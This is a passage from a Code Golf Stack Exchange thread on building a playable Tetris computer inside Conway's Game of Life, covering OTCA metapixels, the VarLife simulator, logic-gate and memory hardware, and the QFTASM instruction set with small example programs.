text
stringlengths
180
608k
[Question] [ Here is a theoretical question - one that doesn't afford an easy answer in any case, not even the trivial one. In Conway's Game of Life, there exist constructs such as the [metapixel](http://www.conwaylife.com/wiki/OTCA_metapixel) which allow the Game of Life to simulate any other Game-of-Life rule system as well. In addition, it is known that the Game of Life is Turing-complete. Your task is to build a cellular automaton using the rules of Conway's game of life that will allow for the playing of a game of Tetris. Your program will receive input by manually changing the state of the automaton at a specific generation to represent an interrupt (e.g. moving a piece left or right, dropping it, rotating it, or randomly generating a new piece to place onto the grid), counting a specific number of generations as waiting time, and displaying the result somewhere on the automaton. The displayed result must visibly resemble an actual Tetris grid. Your program will be scored on the following things, in order (with lower criteria acting as tiebreakers for higher criteria): * Bounding box size — the rectangular box with the smallest area that completely contains the given solution wins. * Smaller changes to input — the fewest cells (for the worst case in your automaton) that need to be manually adjusted for an interrupt wins. * Fastest execution — the fewest generations to advance one tick in the simulation wins. * Initial live cell count — smaller count wins. * First to post — earlier post wins. [Answer] *This began as a quest but ended as an odyssey.* ## Quest for Tetris Processor, 2,940,928 x 10,295,296 The pattern file, in all its glory, can be found [here](https://github.com/QuestForTetris/QFT/blob/master/TetrisOTCAMP.mc.gz), viewable in-browser [here](https://copy.sh/life/?pattern=TetrisOTCAMP.mc). This project is the culmination of the efforts of many users over the course of the past 1 & 1/2 years. Although the composition of the team has varied over time, the participants as of writing are the following: * [PhiNotPi](https://codegolf.stackexchange.com/users/2867/phinotpi) * [El'endia Starman](https://codegolf.stackexchange.com/users/12914/elendia-starman) * [K Zhang](https://codegolf.stackexchange.com/users/52152/k-zhang) * [Blue (Muddyfish)](https://codegolf.stackexchange.com/users/32686/blue) * [Cows quack (Kritixi Lithos)](https://codegolf.stackexchange.com/users/41805/cows-quack) * [Mego](https://codegolf.stackexchange.com/users/45941/mego) * [Quartata](https://codegolf.stackexchange.com/users/45151/quartata) We would also like to extend our thanks to 7H3\_H4CK3R, [Conor O'Brien](https://codegolf.stackexchange.com/users/31957/conor-obrien), and the many other users who have put effort into solving this challenge. Due to the unprecedented scope of this collaboration, this answer is split in parts across multiple answers written by the members of this team. Each member will write about specific sub-topics, roughly corresponding to the areas of the project in which they were most involved. ***Please distribute any upvotes or bounties across all members of the team.*** ## Table of Contents 1. Overview 2. [Metapixels and VarLife](https://codegolf.stackexchange.com/a/142674/12914) 3. [Hardware](https://codegolf.stackexchange.com/a/142675/52152) 4. [QFTASM and Cogol](https://codegolf.stackexchange.com/a/142676/2867) 5. [Assembly, Translation, and the Future](https://codegolf.stackexchange.com/a/142677/2867) 6. [New Language and Compiler](https://codegolf.stackexchange.com/a/142683/32686) Also consider checking out our [GitHub organization](https://github.com/QuestForTetris) where we've put all of the code we've written as part of our solution. Questions can be directed to our [development chatroom](https://chat.stackexchange.com/rooms/35837/the-quest-for-tetris). --- ## Part 1: Overview The underlying idea of this project is *abstraction*. Rather than develop a Tetris game in Life directly, we slowly ratcheted up the abstraction in a series of steps. At each layer, we get further away from the difficulties of Life and closer to the construction of a computer that is as easy to program as any other. First, we used [OTCA metapixels](http://www.conwaylife.com/wiki/OTCA_metapixel) as the foundation of our computer. These metapixels are capable of emulating any "life-like" rule. [Wireworld](https://en.wikipedia.org/wiki/Wireworld) and the [Wireworld computer](http://www.quinapalus.com/wi-index.html) served as important sources of inspiration for this project, so we sought to create a similar constuction with metapixels. Although it is not possible to emulate Wireworld with OTCA metapixels, it is possible to assign different metapixels different rules and to build metapixel arrangements that function similarly to wires. The next step was to construct a variety of fundamental logic gates to serve as the basis for the computer. Already at this stage we are dealing with concepts similar to real-world processor design. Here is an example of an OR gate, each cell in this image is actually an entire OTCA metapixel. You can see "electrons" (each representing a single bit of data) enter and leave the gate. You can also see all of the different metapixel types that we used in our computer: B/S as the black background, B1/S in blue, B2/S in green, and B12/S1 in red. ![image](https://i.stack.imgur.com/RDiBC.gif) From here we developed an architecture for our processor. We spent significant effort on designing an architecture that was both as non-esoteric and as easily-implementable as possible. Whereas the Wireworld computer used a rudimentary transport-triggered architecture, this project uses a much more flexible RISC architecture complete with multiple opcodes and addressing modes. We created an assembly language, known as QFTASM (Quest for Tetris Assembly), which guided the construction of our processor. Our computer is also asynchronous, meaning that there is no global clock controlling the computer. Rather, the data is accompanied by a clock signal as it flows around the computer, which means we only need to focus on local but not global timings of the computer. Here is an illustration of our processor architecture: ![image](https://i.stack.imgur.com/JXmnf.png) From here it is just a matter of implementing Tetris on the computer. To help accomplish this, we have worked on multiple methods of compiling higher-level language to QFTASM. We have a basic language called Cogol, a second, more advanced language under development, and finally we have an under-construction GCC backend. The current Tetris program was written in / compiled from Cogol. Once the final Tetris QFTASM code was generated, the final steps were to assemble from this code to corresponding ROM, and then from metapixels to the underlying Game of Life, completing our construction. ### Running Tetris For those who wish to play Tetris without messing around with the computer, you can run the [Tetris source code](https://github.com/QuestForTetris/Cogol/blob/master/tetris.qftasm) on the [QFTASM interpreter](https://darthnithin.github.io/qftasm-interpreter/qftasm.html). Set the RAM display addresses to 3-32 to view the entire game. Here is a permalink for convenience: [Tetris in QFTASM](http://play.starmaninnovations.com/qftasm/#jllHdnBGSP). Game features: * All 7 tetrominoes * Movement, rotation, soft drops * Line clears and scoring * Preview piece * Player inputs inject randomness **Display** Our computer represents the Tetris board as a grid within its memory. Addresses 10-31 display the board, addresses 5-8 display the preview piece, and address 3 contains the score. **Input** Input to the game is performed by manually editing the contents of RAM address 1. Using the QFTASM interpreter, this means performing direct writes to address 1. Look for "Direct write to RAM" on the interpreter's page. Each move only requires editing a single bit of RAM, and this input register is automatically cleared after the input event has been read. ``` value motion 1 counterclockwise rotation 2 left 4 down (soft drop) 8 right 16 clockwise rotation ``` **Scoring system** You get a bonus for clearing multiple lines in a single turn. ``` 1 row = 1 point 2 rows = 2 points 3 rows = 4 points 4 rows = 8 points ``` [Answer] # Part 2: OTCA Metapixel and VarLife ## OTCA Metapixel [![OTCA metapixel](https://i.stack.imgur.com/wezpm.png)](https://i.stack.imgur.com/wezpm.png) ([Source](http://www.conwaylife.com/w/images/3/3a/Otcametapixel.png)) The [OTCA Metapixel](http://www.conwaylife.com/w/index.php?title=OTCA_metapixel) is a construct in Conway's Game of Life that can be used to simulate any Life-like cellular automata. As the LifeWiki (linked above) says, > > The OTCA metapixel is a 2048 × 2048 period 35328 unit cell that was constructed by Brice Due... It has many advantages... including the ability to emulate any Life-like cellular automaton and the fact that, when zoomed out, the ON and OFF cells are easy to distinguish... > > > What [Life-like cellular automata](http://www.conwaylife.com/wiki/Life-like_cellular_automaton#Life-like_cellular_automata) means here is essentially that cells are born and cells survive according to how many of their eight neighbor cells are alive. The syntax for these rules is as follows: a B followed by the numbers of live neighbors that will cause a birth, then a slash, then an S followed by the numbers of live neighbors that will keep the cell alive. A bit wordy, so I think an example will help. The canonical Game of Life can be represented by the rule B3/S23, which says that any dead cell with three live neighbors will become alive and any live cell with two or three live neighbors will remain alive. Otherwise, the cell dies. Despite being a 2048 x 2048 cell, the OTCA metapixel actually has a bounding box of 2058 x 2058 cells, the reason being that it overlaps by five cells in every direction with its *diagonal* neighbors. The overlapping cells serve to intercept gliders - which are emitted to signal the metacells neighbors that it's on - so that they don't interfere with other metapixels or fly off indefinitely. The birth and survival rules are encoded in a special section of cells at the left side of the metapixel, by the presence or absence of eaters in specific positions along two columns (one for birth, the other for survival). As for detecting the state of neighboring cells, here's how that happens: > > A 9-LWSS stream then goes clockwise around the cell, losing a LWSS for each adjacent ‘on’ cell that triggered a honeybit reaction. The number of missing LWSSes is counted by detecting the position of the front LWSS by crashing another LWSS into it from the opposite direction. This collision releases gliders, which triggers another one or two honeybit reactions if the eaters that indicate that birth/survival condition are absent. > > > A more detailed diagram of each aspect of the OTCA metapixel can be found at its original website: [How Does It Work?](http://otcametapixel.blogspot.com/2006/05/how-does-it-work.html). ## VarLife I built an online simulator of Life-like rules where you could make any cell behave according to any life-like rule and called it "Variations of Life". This name has been shortened to "VarLife" to be more concise. Here's a screenshot of it and the [link to it](https://darthnithin.github.io/variations-of-life/): [![VarLife screenshot](https://i.stack.imgur.com/OtXhi.png)](https://i.stack.imgur.com/OtXhi.png) Notable features: * Toggle cells between live/dead and paint the board with different rules. * The ability to start and stop the simulation, and to do one step at a time. It's also possible to do a given number of steps as fast as possible or more slowly, at the rate set in the ticks-per-second and milliseconds-per-tick boxes. * Clear all live cells or to entirely reset the board to a blank state. * Can change the cell and board sizes, and also to enable toroidal wrapping horizontally and/or vertically. * Permalinks (which encode all information in the url) and short urls (because sometimes there's just too much info, but they're nice anyway). * Rule sets, with B/S specification, colors, and optional randomness. * And last but definitely not least, rendering gifs! The render-to-gif feature is my favorite both because it took a ton of work to implement, so it was really satisfying when I finally cracked it at 7 in the morning, and because it makes it very easy to share VarLife constructs with others. ## Basic VarLife Circuitry All in all, the VarLife computer only needs four cell types! Eight states in all counting the dead/alive states. They are: * B/S (black/white), which serves as a buffer between all components since B/S cells can never be alive. * B1/S (blue/cyan), which is the main cell type used to propagate signals. * B2/S (green/yellow), which is mainly used for signal control, ensuring it doesn't backpropagate. * B12/S1 (red/orange), which is used in a few specialized situations, such as crossing signals and storing a bit of data. [Use this url](https://darthnithin.github.io/variations-of-life/#data=%7B%...) to open up VarLife with these rules already encoded. ### Wires There are a few different wire designs with varying characteristics. This is the easiest and most basic wire in VarLife, a strip of blue bordered by strips of green. [![basic wire](https://i.stack.imgur.com/peFh7.gif)](https://i.stack.imgur.com/peFh7.gif) Short url: <http://play.starmaninnovations.com/varlife/WcsGmjLiBF> This wire is unidirectional. That is, it will kill any signal attempting to travel in the opposite direction. It's also one cell narrower than the basic wire. [![unidirectional wire](https://i.stack.imgur.com/88oxH.gif)](https://i.stack.imgur.com/88oxH.gif) [Short url](http://play.starmaninnovations.com/varlife/ARWgUgPTEJ) Diagonal wires also exist but they are not used much at all. [![diagonal wire](https://i.stack.imgur.com/0UKff.gif)](https://i.stack.imgur.com/0UKff.gif) [Short url](http://play.starmaninnovations.com/varlife/kJotsdSXIj) ### Gates There are actually a lot of ways to construct each individual gate, so I will only be showing one example of each kind. This first gif demonstrates AND, XOR, and OR gates, respectively. The basic idea here is that a green cell acts like an AND, a blue cell acts like an XOR, and a red cell acts like an OR, and all the other cells around them are just there to control the flow properly. [![AND, XOR, OR logic gates](https://i.stack.imgur.com/pNxaK.gif)](https://i.stack.imgur.com/pNxaK.gif) [Short url](http://play.starmaninnovations.com/varlife/EGTlKktmeI) The AND-NOT gate, abbreviated to "ANT gate", turned out to be a vital component. It is a gate that passes a signal from A if and only if there is no signal from B. Hence, "A AND NOT B". [![AND-NOT gate](https://i.stack.imgur.com/Llur8.gif)](https://i.stack.imgur.com/Llur8.gif) [Short url](http://play.starmaninnovations.com/varlife/RsZBiNqIUy) While not exactly a *gate*, a wire crossing tile is still very important and useful to have. [![wire crossing](https://i.stack.imgur.com/Lx8N6.gif)](https://i.stack.imgur.com/Lx8N6.gif) [Short url](http://play.starmaninnovations.com/varlife/OXMsPyaNTC) Incidentally, there is no NOT gate here. That's because without an incoming signal, a constant output must be produced, which does not work well with the variety in timings that the current computer hardware requires. We got along just fine without it anyway. Also, many components were intentionally designed to fit within an 11 by 11 bounding box (a *tile*) where it takes signals 11 ticks from entering the tile to leave the tile. This makes components more modular and easier to slap together as needed without having to worry about adjusting wires for either spacing or timing. To see more gates that were discovered/constructed in the process of exploring circuitry components, check out this blog post by PhiNotPi: [Building Blocks: Logic Gates](http://blog.phinotpi.com/2016/05/31/building-blocks-logic-gates/). ### Delay Components In the process of designing the computer's hardware, KZhang devised multiple delay components, shown below. 4-tick delay: [![4 tick delay](https://i.stack.imgur.com/OaGIt.gif)](https://i.stack.imgur.com/OaGIt.gif) [Short url](http://play.starmaninnovations.com/varlife/gebOMIXxdh) 5-tick delay: [![5 tick delay](https://i.stack.imgur.com/jBEYR.gif)](https://i.stack.imgur.com/jBEYR.gif) [Short url](http://play.starmaninnovations.com/varlife/JItNjJvnUB) 8-tick delay (three different entry points): [![8 tick delay](https://i.stack.imgur.com/WGnFc.gif)](https://i.stack.imgur.com/WGnFc.gif) [Short url](http://play.starmaninnovations.com/varlife/nSTRaVEDvA) 11-tick delay: [![11 tick delay](https://i.stack.imgur.com/pIEdK.gif)](https://i.stack.imgur.com/pIEdK.gif) [Short url](http://play.starmaninnovations.com/varlife/kfoADussXA) 12-tick delay: [![12 tick delay](https://i.stack.imgur.com/7WvHE.gif)](https://i.stack.imgur.com/7WvHE.gif) [Short url](http://play.starmaninnovations.com/varlife/bkamAfUfud) 14-tick delay: [![14 tick delay](https://i.stack.imgur.com/JRCSP.gif)](https://i.stack.imgur.com/JRCSP.gif) [Short url](http://play.starmaninnovations.com/varlife/TkwzYIBWln) 15-tick delay (verified by comparing with [this](http://play.starmaninnovations.com/varlife/VsRbvzAbmz)): [![15 tick delay](https://i.stack.imgur.com/gNJfw.gif)](https://i.stack.imgur.com/gNJfw.gif) [Short url](http://play.starmaninnovations.com/varlife/jmgpehYlpT) Well, that's it for basic circuitry components in VarLife! See [KZhang's hardware post](https://codegolf.stackexchange.com/a/142675/12914) for the major circuitry of the computer! [Answer] # Part 3: Hardware With our knowledge of logic gates and the general structure of the processor, we can start designing all the components of the computer. ## Demultiplexer A demultiplexer, or demux, is a crucial component to the ROM, RAM, and ALU. It routes an input signal to one of the many output signals based on some given selector data. It is composed of 3 main parts: a serial to parallel converter, a signal checker and a clock signal splitter. We start by converting the serial selector data to "parallel". This is done by strategically splitting and delaying the data so that the leftmost bit of data intersects the clock signal at the leftmost 11x11 square, the next bit of data intersects the clock signal at the next 11x11 square, and so on. Although every bit of data will be outputted in every 11x11 square, every bit of data will intersect with the clock signal only once. [![Serial to parallel converter](https://i.stack.imgur.com/Xblf9.png)](http://play.starmaninnovations.com/varlife/YnGJhtTyGt) Next, we will check to see if the parallel data matches a preset address. We do this by using AND and ANT gates on the clock and parallel data. However, we need to make sure that the parallel data is also outputted so that it can be compared again. These are the gates that I came up with: [![Signal Checking Gates](https://i.stack.imgur.com/9S1la.png)](http://play.starmaninnovations.com/varlife/nFweIfflLl) Finally, we just split the clock signal, stack a bunch of signal checkers (one for each address/output) and we have a multiplexer! [![Multiplexer](https://i.stack.imgur.com/yALQp.png)](http://play.starmaninnovations.com/varlife/JdsIIWIcPa) ## ROM The ROM is supposed to take an address as an input and send out the instruction at that address as its output. We start by using a multiplexer to direct the clock signal to one of the instructions. Next, we need to generate a signal using some wire crossings and OR gates. The wire crossings enable the clock signal to travel down all 58 bits of the instruction, and also allow for a generated signal (currently in parallel) to move down through the ROM to be outputted. [![ROM bits](https://i.stack.imgur.com/N1q1a.png)](http://play.starmaninnovations.com/varlife/ZExrQPCgwf) Next we just need to convert the parallel signal to serial data, and the ROM is complete. [![Parallel to serial converter](https://i.stack.imgur.com/KDbcd.png)](http://play.starmaninnovations.com/varlife/cPnZMldukU) [![ROM](https://i.stack.imgur.com/picMe.png)](http://play.starmaninnovations.com/varlife/gowVDURoIc) The ROM is currently generated by running a script in Golly that will translate assembly code from your clipboard into ROM. ## SRL, SL, SRA These three logic gates are used for bit shifts, and they are more complicated than your typical AND, OR, XOR, etc. To make these gates work, we will first delay the clock signal an appropriate amount of time to cause a "shift" in the data. The second argument given to these gates dictates how many bits to shift. For the SL and the SRL, we need to 1. Make sure that the 12 most significant bits are not on (otherwise the output is simply 0), and 2. Delay the data the correct amount based on the 4 least significant bits. This is doable with a bunch of AND/ANT gates and a multiplexer. ![SRL](https://i.stack.imgur.com/u1eJ9.png) The SRA is slightly different, because we need to copy the sign bit during the shift. We do this by ANDing the clock signal with the sign bit, and then copy that output a bunch of times with wire splitters and OR gates. [![SRA](https://i.stack.imgur.com/adn2Q.png)](http://play.starmaninnovations.com/varlife/DdNReVfSua) ## Set-Reset (SR) latch Many portions of the processor's functionality rely on the ability to store data. Using 2 red B12/S1 cells, we can do just that. The two cells can keep each other on, and can also stay off together. Using some extra set, reset, and read circuitry, we can make a simple SR latch. [![SR latch](https://i.stack.imgur.com/TuBf9.png)](http://play.starmaninnovations.com/varlife/qiFFgGEvRd) ## Synchronizer By converting serial data to parallel data, then setting a bunch of SR latches, we can store a whole word of data. Then, to get the data out again, we can just read and reset all of the latches, and delay the data accordingly. This enables us to store one (or more) word of data while waiting for another, allowing for two words of data arriving at different times to be synchronized. [![Synchronizer](https://i.stack.imgur.com/RFRdn.png)](http://play.starmaninnovations.com/varlife/hYdaWoyjwz) ## Read Counter This device keeps track of how many more times it needs to address from RAM. It does this using a device similar to the SR latch: a T flip flop. Every time the T flip flop recieves an input, it changes state: if it was on, it turns off, and vice versa. When the T flip flop is flipped from on to off, it sends out an output pulse, which can be fed into another T flip flop to form a 2 bit counter. [![Two bit counter](https://i.stack.imgur.com/2HjGr.png)](http://play.starmaninnovations.com/varlife/sqMCPQpoLS) In order to make the Read Counter, we need to set the counter to the appropriate addressing mode with two ANT gates, and use the counter's output signal to decide where to direct the clock signal: to the ALU or to the RAM. ![Read Counter](https://i.stack.imgur.com/XvBmD.png) ## Read Queue The read queue needs to keep track of which read counter sent an input to RAM, so that it can send the RAM's output to the correct location. To do that, we use some SR latches: one latch for each input. When a signal is sent to RAM from a read counter, the clock signal is split and sets the counter's SR latch. The RAM's output is then ANDed with the SR latch, and the clock signal from the RAM resets the SR latch. ![Read Queue](https://i.stack.imgur.com/a4zDM.png) ## ALU The ALU functions similarly to the read queue, in that it uses an SR latch to keep track of where to send a signal. First, the SR latch of the logic circuit corresponding to the opcode of the instruction is set using a multiplexer. Next, the first and second argument's values are ANDed with the SR latch, and then are passed to the logic circuits. The clock signal resets the latch as it's passing so that the ALU can be used again. (Most of the circuitry is golfed down, and a ton of delay management is shoved in, so it looks like a bit of a mess) ![ALU](https://i.stack.imgur.com/qt07q.png) ## RAM The RAM was the most complicated part of this project. It required for very specific control over each SR latch that stored data. For reading, the address is sent into a multiplexer and sent to the RAM units. The RAM units output the data they store in parallel, which is converted to serial and outputted. For writing, the address is sent into a different multiplexer, the data to be written is converted from serial to parallel, and the RAM units propagate the signal throughout the RAM. Each 22x22 metapixel RAM unit has this basic structure: ![RAM unit](https://i.stack.imgur.com/zFZIg.png) Putting the whole RAM together, we get something that looks like this: ![RAM](https://i.stack.imgur.com/Kh2BR.png) ## Putting everything together Using all of these components and the general computer architecture described in the [Overview](https://codegolf.stackexchange.com/a/142673/52152), we can construct a working computer! Downloads: - [Finished Tetris computer](https://github.com/QuestForTetris/QFT/raw/master/Tetris.zip) - [ROM creation script, empty computer, and prime finding computer](https://github.com/QuestForTetris/QFT/raw/master/Computer.zip) ![The computer](https://i.stack.imgur.com/4X4fz.png) [Answer] ## Part 4: QFTASM and Cogol ### Architecture Overview In short, our computer has a 16-bit asynchronous RISC Harvard architecture. When building a processor by hand, a RISC ([reduced instruction set computer](https://en.wikipedia.org/wiki/Reduced_instruction_set_computer)) architecture is practically a requirement. In our case, this means that the number of opcodes is small and, much more importantly, that all instructions are processed in a very similar manner. For reference, the Wireworld computer used a [transport-triggered architecture](https://en.wikipedia.org/wiki/Transport_triggered_architecture), in which the only instruction was `MOV` and computations were performed by writing/reading special registers. Although this paradigm leads to a very easy-to-implement architecture, the result is also borderline unusable: all arithmetic/logic/conditional operations require *three* instructions. It was clear to us that we wanted to create a much less esoteric architecture. In order to keep our processor simple while increasing usability, we made several important design decisions: * No registers. Every address in RAM is treated equally and can be used as any argument for any operation. In a sense, this means all of RAM could be treated like registers. This means that there are no special load/store instructions. * In a similar vein, memory-mapping. Everything that could be written to or read from shares a unified addressing scheme. This means that the program counter (PC) is address 0, and the only difference between regular instructions and control-flow instructions is that control-flow instructions use address 0. * Data is serial in transmission, parallel in storage. Due to the "electron"-based nature of our computer, addition and subtraction are significantly easier to implement when the data is transmitted in serial little-endian (least-significant bit first) form. Furthermore, serial data removes the need for cumbersome data buses, which are both really wide and cumbersome to time properly (in order for the data to stay together, all "lanes" of the bus must experience the same travel delay). * Harvard architecture, meaning a division between program memory (ROM) and data memory (RAM). Although this does reduce the flexibility of the processor, this helps with size optimization: the length of the program is much larger than the amount of RAM we'll need, so we can split the program off into ROM and then focus on compressing the ROM, which is much easier when it is read-only. * 16-bit data width. This is the smallest power of two that is wider than a standard Tetris board (10 blocks). This gives us a data range of -32768 to +32767 and a maximum program length of 65536 instructions. (2^8=256 instructions is enough for most simple things we might want a toy processor to do, but not Tetris.) * Asynchronous design. Rather than having a central clock (or, equivalently, several clocks) dictating the timing of the computer, all data is accompanied by a "clock signal" which travels in parallel with the data as it flows around the computer. Certain paths may be shorter than others, and while this would pose difficulties for a centrally-clocked design, an asynchronous design can easily deal with variable-time operations. * All instructions are of equal size. We felt that an architecture in which each instruction has 1 opcode with 3 operands (value value destination) was the most flexible option. This encompasses binary data operations as well as conditional moves. * Simple addressing mode system. Having a variety of addressing modes is very useful for supporting things such as arrays or recursion. We managed to implement several important addressing modes with a relatively simple system. An illustration of our architecture is contained in the overview post. ### Functionality and ALU Operations From here, it was a matter of determining what functionality our processor should have. Special attention was paid to the ease of implementation as well as the versatility of each command. **Conditional Moves** Conditional moves are very important and serve as both small-scale and large-scale control flow. "Small-scale" refers to its ability to control the execution of a particular data move, while "large-scale" refers to its use as a conditional jump operation to transfer control flow to any arbitrary piece of code. There are no dedicated jump operations because, due to memory mapping, a conditional move can both copy data to regular RAM and copy a destination address to the PC. We also chose to forgo both unconditional moves and unconditional jumps for a similar reason: both can be implemented as a conditional move with a condition that's hardcoded to TRUE. We chose to have two different types of conditional moves: "move if not zero" (`MNZ`) and "move if less than zero" (`MLZ`). Functionally, `MNZ` amounts to checking whether any bit in the data is a 1, while `MLZ` amounts to checking if the sign bit is 1. They are useful for equalities and comparisons, respectively. The reason we chose these two over others such as "move if zero" (`MEZ`) or "move if greater than zero" (`MGZ`) was that `MEZ` would require creating a TRUE signal from an empty signal, while `MGZ` is a more complex check, requiring the the sign bit be 0 while at least one other bit be 1. **Arithmetic** The next-most important instructions, in terms of guiding the processor design, are the basic arithmetic operations. As I mentioned earlier, we are using little-endian serial data, with the choice of endianness determined by the ease of addition/subtraction operations. By having the least-significant bit arrive first, the arithmetic units can easily keep track of the carry bit. We chose to use 2's complement representation for negative numbers, since this makes addition and subtraction more consistent. It's worth noting that the Wireworld computer used 1's complement. Addition and subtraction are the extent of our computer's native arithmetic support (besides bit shifts which are discussed later). Other operations, like multiplication, are far too complex to be handled by our architecture, and must be implemented in software. **Bitwise Operations** Our processor has `AND`, `OR`, and `XOR` instructions which do what you would expect. Rather than have a `NOT` instruction, we chose to have an "and-not" (`ANT`) instruction. The difficulty with the `NOT` instruction is again that it must create signal from a lack of signal, which is difficult with a cellular automata. The `ANT` instruction returns 1 only if the first argument bit is 1 and the second argument bit is 0. Thus, `NOT x` is equivalent to `ANT -1 x` (as well as `XOR -1 x`). Furthermore, `ANT` is versatile and has its main advantage in masking: in the case of the Tetris program we use it to erase tetrominoes. **Bit Shifting** The bit-shifting operations are the most complex operations handled by the ALU. They take two data inputs: a value to shift and an amount to shift it by. Despite their complexity (due to the variable amount of shifting), these operations are crucial for many important tasks, including the many "graphical" operations involved in Tetris. Bit shifts would also serve as the foundation for efficient multiplication/division algorithms. Our processor has three bit shift operations, "shift left" (`SL`), "shift right logical" (`SRL`), and "shift right arithmetic" (`SRA`). The first two bit shifts (`SL` and `SRL`) fill in the new bits with all zeros (meaning that a negative number shifted right will no longer be negative). If the second argument of the shift is outside the range of 0 to 15, the result is all zeros, as you might expect. For the last bit shift, `SRA`, the bit shift preserves the sign of the input, and therefore acts as a true division by two. ### Instruction Pipelining Now's the time to talk about some of the gritty details of the architecture. Each CPU cycle consists of the following five steps: **1. Fetch the current instruction from ROM** The current value of the PC is used to fetch the corresponding instruction from ROM. Each instruction has one opcode and three operands. Each operand consists of one data word and one addressing mode. These parts are split from each other as they are read from the ROM. The opcode is 4 bits to support 16 unique opcodes, of which 11 are assigned: ``` 0000 MNZ Move if Not Zero 0001 MLZ Move if Less than Zero 0010 ADD ADDition 0011 SUB SUBtraction 0100 AND bitwise AND 0101 OR bitwise OR 0110 XOR bitwise eXclusive OR 0111 ANT bitwise And-NoT 1000 SL Shift Left 1001 SRL Shift Right Logical 1010 SRA Shift Right Arithmetic 1011 unassigned 1100 unassigned 1101 unassigned 1110 unassigned 1111 unassigned ``` **2. Write the result (if necessary) of the *previous* instruction to RAM** Depending on the condition of the previous instruction (such as the value of the first argument for a conditional move), a write is performed. The address of the write is determined by the third operand of the previous instruction. It is important to note that writing occurs after instruction fetching. This leads to the creation of a [branch delay slot](https://en.wikipedia.org/wiki/Delay_slot#Branch_delay_slots) in which the instruction immediately after a branch instruction (any operation which writes to the PC) is executed in lieu of the first instruction at the branch target. In certain instances (like unconditional jumps), the branch delay slot can be optimized away. In other cases it cannot, and the instruction after a branch must be left empty. Furthermore, this type of delay slot means that branches must use a branch target that is 1 address less than the actual target instruction, to account for the PC increment that occurs. In short, because the previous instruction's output is written to RAM after the next instruction is fetched, conditional jumps need to have a blank instruction after them, or else the PC won't be updated properly for the jump. **3. Read the data for the current instruction's arguments from RAM** As mentioned earlier, each of the three operands consists of both a data word and an addressing mode. The data word is 16 bits, the same width as RAM. The addressing mode is 2 bits. Addressing modes can be a source of significant complexity for a processor like this, as many real-world addressing modes involve multi-step computations (like adding offsets). At the same time, versatile addressing modes play an important role in the usability of the processor. We sought to unify the concepts of using hard-coded numbers as operands and using data addresses as operands. This led to the creation of counter-based addressing modes: the addressing mode of an operand is simply a number representing how many times the data should be sent around a RAM read loop. This encompasses immediate, direct, indirect, and double-indirect addressing. ``` 00 Immediate: A hard-coded value. (no RAM reads) 01 Direct: Read data from this RAM address. (one RAM read) 10 Indirect: Read data from the address given at this address. (two RAM reads) 11 Double-indirect: Read data from the address given at the address given by this address. (three RAM reads) ``` After this dereferencing is performed, the three operands of the instruction have different roles. The first operand is usually the first argument for a binary operator, but also serves as the condition when the current instruction is a conditional move. The second operand serves as the second argument for a binary operator. The third operand serves as the destination address for the result of the instruction. Since the first two instructions serve as data while the third serves as an address, the addressing modes have slightly different interpretations depending on which position they are used in. For example, the direct mode is used to read data from a fixed RAM address (since one RAM read is needed), but the immediate mode is used to write data to a fixed RAM address (since no RAM reads are necessary). **4. Compute the result** The opcode and the first two operands are sent to the ALU to perform a binary operation. For the arithmetic, bitwise, and shift operations, this means performing the relevant operation. For the conditional moves, this means simply returning the second operand. The opcode and first operand are used to compute the condition, which determines whether or not to write the result to memory. In the case of conditional moves, this means either determining whether any bit in the operand is 1 (for `MNZ`), or determining whether the sign bit is 1 (for `MLZ`). If the opcode isn't a conditional move, then write is always performed (the condition is always true). **5. Increment the program counter** Finally, the program counter is read, incremented, and written. Due to the position of the PC increment between the instruction read and the instruction write, this means that an instruction which increments the PC by 1 is a no-op. An instruction that copies the PC to itself causes the next instruction to be executed twice in a row. But, be warned, multiple PC instructions in a row can cause complex effects, including infinite looping, if you don't pay attention to the instruction pipeline. ### Quest for Tetris Assembly We created a new assembly language named QFTASM for our processor. This assembly language corresponds 1-to-1 with the machine code in the computer's ROM. Any QFTASM program is written as a series of instructions, one per line. Each line is formatted like this: ``` [line numbering] [opcode] [arg1] [arg2] [arg3]; [optional comment] ``` **Opcode List** As discussed earlier, there are eleven opcodes supported by the computer, each of which have three operands: ``` MNZ [test] [value] [dest] – Move if Not Zero; sets [dest] to [value] if [test] is not zero. MLZ [test] [value] [dest] – Move if Less than Zero; sets [dest] to [value] if [test] is less than zero. ADD [val1] [val2] [dest] – ADDition; store [val1] + [val2] in [dest]. SUB [val1] [val2] [dest] – SUBtraction; store [val1] - [val2] in [dest]. AND [val1] [val2] [dest] – bitwise AND; store [val1] & [val2] in [dest]. OR [val1] [val2] [dest] – bitwise OR; store [val1] | [val2] in [dest]. XOR [val1] [val2] [dest] – bitwise XOR; store [val1] ^ [val2] in [dest]. ANT [val1] [val2] [dest] – bitwise And-NoT; store [val1] & (![val2]) in [dest]. SL [val1] [val2] [dest] – Shift Left; store [val1] << [val2] in [dest]. SRL [val1] [val2] [dest] – Shift Right Logical; store [val1] >>> [val2] in [dest]. Doesn't preserve sign. SRA [val1] [val2] [dest] – Shift Right Arithmetic; store [val1] >> [val2] in [dest], while preserving sign. ``` **Addressing Modes** Each of the operands contains both a data value and an addressing move. The data value is described by a decimal number in the range -32768 to 32767. The addressing mode is described by a one-letter prefix to the data value. ``` mode name prefix 0 immediate (none) 1 direct A 2 indirect B 3 double-indirect C ``` **Example Code** Fibonacci sequence in five lines: ``` 0. MLZ -1 1 1; initial value 1. MLZ -1 A2 3; start loop, shift data 2. MLZ -1 A1 2; shift data 3. MLZ -1 0 0; end loop 4. ADD A2 A3 1; branch delay slot, compute next term ``` This code computes the Fibonacci sequence, with RAM address 1 containing the current term. It quickly overflows after 28657. Gray code: ``` 0. MLZ -1 5 1; initial value for RAM address to write to 1. SUB A1 5 2; start loop, determine what binary number to covert to Gray code 2. SRL A2 1 3; shift right by 1 3. XOR A2 A3 A1; XOR and store Gray code in destination address 4. SUB B1 42 4; take the Gray code and subtract 42 (101010) 5. MNZ A4 0 0; if the result is not zero (Gray code != 101010) repeat loop 6. ADD A1 1 1; branch delay slot, increment destination address ``` This program computes Gray code and stores the code in succesive addresses starting at address 5. This program utilizes several important features such as indirect addressing and a conditional jump. It halts once the resultant Gray code is `101010`, which happens for input 51 at address 56. ### Online Interpreter El'endia Starman has created a very useful online interpreter [here](http://play.starmaninnovations.com/qftasm/). You are able to step through the code, set breakpoints, perform manual writes to RAM, and visualize the RAM as a display. ### Cogol Once the architecture and assembly language were defined, the next step on the "software" side of the project was the creation of a higher-level language, something suitable for Tetris. Thus I created [Cogol](https://github.com/QuestForTetris/Cogol). The name is both a pun on 